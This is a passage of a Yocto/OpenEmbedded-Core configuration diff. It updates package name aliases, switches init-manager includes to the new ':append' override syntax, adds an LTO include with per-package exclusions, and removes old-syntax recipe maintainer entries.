+DISTRO_PN_ALIAS:pn-xf86-video-fbdev = "Ubuntu=xserver-xorg-video-fbdev Debian=xserver-xorg-video-fbdev"
+DISTRO_PN_ALIAS:pn-xf86-video-intel = "Debian=xserver-xorg-video-intel Fedora=xorg-x11-drv-intel Mandriva=x11-driver-video-intel Meego=xorg-x11-drv-intel Ubuntu=xserver-xorg-video-intel"
+DISTRO_PN_ALIAS:pn-xf86-video-modesetting = "Debian=xserver-xorg-video-modesetting Fedora=xf86-video-modesetting"
+DISTRO_PN_ALIAS:pn-xf86-video-omap = "Ubuntu=xf86-video-omap Debian=xf86-video-omap"
+DISTRO_PN_ALIAS:pn-xf86-video-omapfb = "OSPDT"
+DISTRO_PN_ALIAS:pn-xf86-video-vesa = "Debian=xserver-xorg-video-vesa Fedora=xorg-x11-drv-vesa Mandriva=x11-driver-video-vesa Ubuntu=xserver-xorg-video-vesa"
+DISTRO_PN_ALIAS:pn-xf86-video-vmware = "Debian=xserver-xorg-video-vmware Fedora=xorg-x11-drv-vmware Mandriva=x11-driver-video-vmware Ubuntu=xserver-xorg-video-vmware"
+DISTRO_PN_ALIAS:pn-xhost = "Ubuntu=x11-xserver-utils Fedora=xorg-x11-server-utils"
+DISTRO_PN_ALIAS:pn-xinput-calibrator = "Fedora=xinput-calibrator Mandravia=xinput-calibrator Ubuntu=xinput-calibrator"
+DISTRO_PN_ALIAS:pn-xkbcomp = "Ubuntu=x11-xkb-utils Fedora=xorg-x11-xkb-utils"
+DISTRO_PN_ALIAS:pn-xmodmap = "Meego=xorg-x11-utils-xmodmap Fedora=xorg-x11-server-utils Ubuntu=x11-xserver-utils"
+DISTRO_PN_ALIAS:pn-xorg-minimal-fonts = "Ubuntu=xfonts-base Fedora=xorg-x11-fonts-base"
+DISTRO_PN_ALIAS:pn-xorgproto = "OSPDT upstream=http://cgit.freedesktop.org/xorg/proto/xorgproto"
+DISTRO_PN_ALIAS:pn-xprop = "Meego=xorg-x11-utils-xprop Fedora=xorg-x11-utils Ubuntu=x11-utils"
+DISTRO_PN_ALIAS:pn-xproxymanagementprotocol = "Meego=xorg-x11-proto-xproxymanagementprotocol"
+DISTRO_PN_ALIAS:pn-xrandr = "Ubuntu=x11-xserver-utils Fedora=xorg-x11-server-utils"
+DISTRO_PN_ALIAS:pn-xrdb = "Ubuntu=x11-xserver-utils Fedora=xorg-x11-server-utils"
+DISTRO_PN_ALIAS:pn-xserver-nodm-init = "OE-Core"
+DISTRO_PN_ALIAS:pn-xserver-xf86-config = "OE-Core"
+DISTRO_PN_ALIAS:pn-xserver-xf86-dri-lite = "Fedora=xorg-x11-server Ubuntu=xserver-xorg"
+DISTRO_PN_ALIAS:pn-xserver-xf86-lite = "Fedora=xorg-x11-server Ubuntu=xserver-xorg"
+DISTRO_PN_ALIAS:pn-xserver-xorg = "Fedora=xorg-x11-server Ubuntu=xserver-xorg"
+DISTRO_PN_ALIAS:pn-xset = "Fedora=xorg-x11-server-utils Ubuntu=x11-xserver-utils Debian=x11-xserver-utils Opensuse=xorg-x11"
+DISTRO_PN_ALIAS:pn-xuser-account = "OE-Core"
+DISTRO_PN_ALIAS:pn-xvinfo = "Fedora=xorg-x11-utils Ubuntu=x11-utils"
+DISTRO_PN_ALIAS:pn-xwininfo = "Fedora=xorg-x11-utils Ubuntu=x11-utils"
diff --git a/meta/conf/distro/include/init-manager-mdev-busybox.inc b/meta/conf/distro/include/init-manager-mdev-busybox.inc
index 4e3be14a82..12091cba68 100644
--- a/meta/conf/distro/include/init-manager-mdev-busybox.inc
+++ b/meta/conf/distro/include/init-manager-mdev-busybox.inc
@@ -1,5 +1,5 @@
# enable mdev/busybox for init
-DISTRO_FEATURES_BACKFILL_CONSIDERED_append = " systemd sysvinit"
+DISTRO_FEATURES_BACKFILL_CONSIDERED:append = " systemd sysvinit"
VIRTUAL-RUNTIME_dev_manager ??= "busybox-mdev"
VIRTUAL-RUNTIME_init_manager ??= "busybox"
VIRTUAL-RUNTIME_initscripts ??= "initscripts"
diff --git a/meta/conf/distro/include/init-manager-systemd.inc b/meta/conf/distro/include/init-manager-systemd.inc
index 1558b85250..0a76647459 100644
--- a/meta/conf/distro/include/init-manager-systemd.inc
+++ b/meta/conf/distro/include/init-manager-systemd.inc
@@ -1,6 +1,9 @@
# Use systemd for system initialization
-DISTRO_FEATURES_append = " systemd"
-DISTRO_FEATURES_BACKFILL_CONSIDERED_append = " sysvinit"
+DISTRO_FEATURES:append = " systemd usrmerge"
+DISTRO_FEATURES_BACKFILL_CONSIDERED:append = " sysvinit"
VIRTUAL-RUNTIME_init_manager ??= "systemd"
VIRTUAL-RUNTIME_initscripts ??= "systemd-compat-units"
VIRTUAL-RUNTIME_login_manager ??= "shadow-base"
+VIRTUAL-RUNTIME_dev_manager ??= "systemd"
+# systemd hardcodes /root in its source codes, other values are not offically supported
+ROOT_HOME ?= "/root"
diff --git a/meta/conf/distro/include/init-manager-sysvinit.inc b/meta/conf/distro/include/init-manager-sysvinit.inc
index 6b662d60bb..aa2393944d 100644
--- a/meta/conf/distro/include/init-manager-sysvinit.inc
+++ b/meta/conf/distro/include/init-manager-sysvinit.inc
@@ -1,6 +1,6 @@
# Use sysvinit for system initialization
-DISTRO_FEATURES_append = " sysvinit"
-DISTRO_FEATURES_BACKFILL_CONSIDERED_append = " systemd"
+DISTRO_FEATURES:append = " sysvinit"
+DISTRO_FEATURES_BACKFILL_CONSIDERED:append = " systemd"
VIRTUAL-RUNTIME_init_manager ??= "sysvinit"
VIRTUAL-RUNTIME_initscripts ??= "initscripts"
VIRTUAL-RUNTIME_login_manager ??= "busybox"
diff --git a/meta/conf/distro/include/lto.inc b/meta/conf/distro/include/lto.inc
new file mode 100644
index 0000000000..b8193725a1
--- /dev/null
+++ b/meta/conf/distro/include/lto.inc
@@ -0,0 +1,51 @@
+# To enable LTO, add following in local.conf
+# require conf/distro/include/lto.inc
+# DISTRO_FEATURES:append = " lto"
+#
+
+# Disable LTO for following packages
+LTO:pn-glibc = ""
+LTO:pn-gcc-runtime = ""
+LTO:pn-libgcc-initial = ""
+LTO:pn-libgcc = ""
+LTO:pn-libaio = ""
+LTO:pn-libpam = ""
+LTO:pn-elfutils = ""
+LTO:pn-perl = ""
+LTO:pn-busybox = ""
+LTO:pn-libxcrypt = ""
+LTO:pn-curl = ""
+LTO:pn-libcap = ""
+LTO:pn-libproxy = ""
+LTO:pn-libbsd = ""
+LTO:pn-perf = ""
+# webkit is not linking properly with LTO, disable until next time
+LTO:pn-webkitgtk = ""
+LTO:pn-xserver-xorg = ""
+LTO:pn-grub = ""
+LTO:pn-grub-efi = ""
+
+# Custom LTO flags
+# disable partitioning/streaming algorithm since its uses ASM
+# constructs not compatible with lto
+LTOEXTRA:pn-alsa-lib = "-flto-partition=none"
+
+LTOEXTRA ?= ""
+
+# Override it for additional or different options if needed e.g.
+# with clang thin-lto might be better for compile speed
+#
+# ffat-lto-objects
+# object files that contain both the intermediate
+# language and the object code. This makes them
+# usable for both LTO linking and normal linking
+#
+# -fuse-linker-plugin
+# ensures that libraries participate in LTO by supplying intermediate
+# code from .a files to linker
+LTO ?= "-flto -ffat-lto-objects -fuse-linker-plugin ${LTOEXTRA}"
+
+SELECTED_OPTIMIZATION:append = "${@bb.utils.contains('DISTRO_FEATURES', 'lto', ' ${LTO}', '', d)}"
+TARGET_LDFLAGS:append:class-target = "${@bb.utils.contains('DISTRO_FEATURES', 'lto', ' ${LTO}', '', d)}"
+
+SELECTED_OPTIMIZATION[vardeps] += "LTO LTOEXTRA"
diff --git a/meta/conf/distro/include/maintainers.inc b/meta/conf/distro/include/maintainers.inc
index 3d29af40d6..20eb3a0446 100644
--- a/meta/conf/distro/include/maintainers.inc
+++ b/meta/conf/distro/include/maintainers.inc
@@ -4,7 +4,7 @@
#
# Please submit any patches against recipes in meta to the
# OE-Core mail list (openembedded-core@lists.openembedded.org)
-# For recipes in meta-yocto please use the Poky list (poky@yoctoproject.org)
+# For recipes in meta-yocto please use the Poky list (poky@lists.yoctoproject.org)
#
# If you have problems with or questions about a particular recipe, feel
# free to contact the maintainer directly (cc:ing the appropriate mailing list
@@ -23,751 +23,900 @@
#
# The format is as a bitbake variable override for each recipe
#
-# RECIPE_MAINTAINER_pn-<recipe name> = "Full Name <address@domain>"
+# RECIPE_MAINTAINER:pn-<recipe name> = "Full Name <address@domain>"
#
# Please keep this list in alphabetical order.
#
-RECIPE_MAINTAINER_pn-acl = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-acpica = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-acpid = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-adwaita-icon-theme = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-alsa-lib = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-alsa-plugins = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-alsa-state = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-alsa-tools = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-alsa-topology-conf = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-alsa-ucm-conf = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-alsa-utils = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-alsa-utils-scripts = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-apmd = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-apr = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-apr-util = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-apt = "Aníbal Limón <limon.anibal@gmail.com>"
-RECIPE_MAINTAINER_pn-argp-standalone = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-asciidoc = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-aspell = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-assimp = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-at = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-at-spi2-atk = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-at-spi2-core = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-atk = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-attr = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-autoconf = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-autoconf-archive = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-automake = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-avahi = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-babeltrace = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-babeltrace2 = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-base-files = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-base-passwd = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-bash = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-bash-completion = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-bc = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-bind = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-binutils = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-binutils-cross-${TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-binutils-cross-canadian-${TRANSLATED_TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-binutils-cross-testsuite = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-binutils-crosssdk-${SDK_SYS} = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-bison = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-bjam-native = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-blktool = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-blktrace = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-bluez5 = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-bmap-tools = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-boost = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-bootchart2 = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-bsd-headers = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-btrfs-tools = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-build-appliance-image = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-build-compare = "Paul Eggleton <paul.eggleton@linux.intel.com>"
-RECIPE_MAINTAINER_pn-build-sysroots = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-builder = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-buildtools-extended-tarball = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-buildtools-tarball = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-busybox = "Andrej Valek <andrej.valek@siemens.com>"
-RECIPE_MAINTAINER_pn-busybox-inittab = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-bzip2 = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-ca-certificates = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-cairo = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-cantarell-fonts = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-ccache = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-cdrtools-native = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-chrpath = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-clutter-1.0 = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-clutter-gst-3.0 = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-clutter-gtk-1.0 = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-cmake = "Pascal Bach <pascal.bach@siemens.com>"
-RECIPE_MAINTAINER_pn-cmake-native = "Pascal Bach <pascal.bach@siemens.com>"
-RECIPE_MAINTAINER_pn-cogl-1.0 = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-connman = "Changhyeok Bae <changhyeok.bae@gmail.com>"
-RECIPE_MAINTAINER_pn-connman-conf = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-connman-gnome = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-consolekit = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-core-image-base = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-minimal = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-minimal-dev = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-minimal-initramfs = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-minimal-mtdutils = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-tiny-initramfs = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-full-cmdline = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-kernel-dev = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-sato = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-sato-sdk = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-testmaster-initramfs = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-testmaster = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-clutter = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-weston = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-x11 = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-sato-dev = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-sato-ptest-fast = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-sato-sdk-ptest = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-coreutils = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-cpio = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-cracklib = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-createrepo-c = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-cronie = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-cross-localedef-native = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-cryptodev-linux = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-cryptodev-module = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-cryptodev-tests = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-cups = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-curl = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-cve-update-db-native = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-cwautomacros = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-db = "Unassigned <unassigned@yoctoproject.org>"
-RECIPE_MAINTAINER_pn-dbus = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-dbus-glib = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-dbus-test = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-dbus-wait = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-debianutils = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-dejagnu = "Nathan Rossi <nathan@nathanrossi.com>"
-RECIPE_MAINTAINER_pn-depmodwrapper-cross = "Unassigned <unassigned@yoctoproject.org>"
-RECIPE_MAINTAINER_pn-desktop-file-utils = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-dhcp = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-diffoscope = "Joshua Watt <JPEWhacker@gmail.com>"
-RECIPE_MAINTAINER_pn-diffstat = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-diffutils = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-distcc = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-distcc-config = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-dmidecode = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-dnf = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-docbook-xml-dtd4 = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-docbook-xsl-stylesheets = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-dos2unix = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-dosfstools = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-dpkg = "Aníbal Limón <limon.anibal@gmail.com>"
-RECIPE_MAINTAINER_pn-dropbear = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-dtc = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-dwarfsrcfiles = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-e2fsprogs = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-ed = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-efivar = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-efibootmgr = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-elfutils = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-ell = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-enchant2 = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-encodings = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-epiphany = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-ethtool = "Changhyeok Bae <changhyeok.bae@gmail.com>"
-RECIPE_MAINTAINER_pn-eudev = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-expat = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-expect = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-ffmpeg = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-file = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-findutils = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-flac = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-flex = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-font-alias = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-font-util = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-fontconfig = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-formfactor = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-freetype = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-fribidi = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-fts = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gawk = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-gcc = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gcc-cross-${TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gcc-cross-canadian-${TRANSLATED_TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gcc-crosssdk-${SDK_SYS} = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gcc-runtime = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gcc-sanitizers = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gcc-source-10.1.0 = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gconf = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-gcr = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-gdb = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gdb-cross-${TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gdb-cross-canadian-${TRANSLATED_TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gdbm = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-gdk-pixbuf = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-gettext = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-gettext-minimal-native = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-ghostscript = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-git = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-glew = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-glib-2.0 = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-glib-networking = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-glibc = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-glibc-locale = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-glibc-mtrace = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-glibc-scripts = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-glibc-testsuite = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-glide = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
-RECIPE_MAINTAINER_pn-gmp = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gnome-desktop-testing = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-gnu-config = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-gnu-efi = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-gnupg = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-gnutls = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-go = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-go-binary-native = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-go-cross-${TUNE_PKGARCH} = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-go-cross-canadian-${TRANSLATED_TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-go-crosssdk-${SDK_SYS} = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-go-dep = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
-RECIPE_MAINTAINER_pn-go-helloworld = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-go-native = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-go-runtime = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gobject-introspection = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-gperf = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-gpgme = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-gptfdisk = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-grep = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-groff = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-grub = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-grub-bootconf = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-grub-efi = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gsettings-desktop-schemas = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gst-examples = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gst-validate = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gstreamer1.0 = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gstreamer1.0-libav = "Anuj Mittal <anuj.mittal@intel.com>"
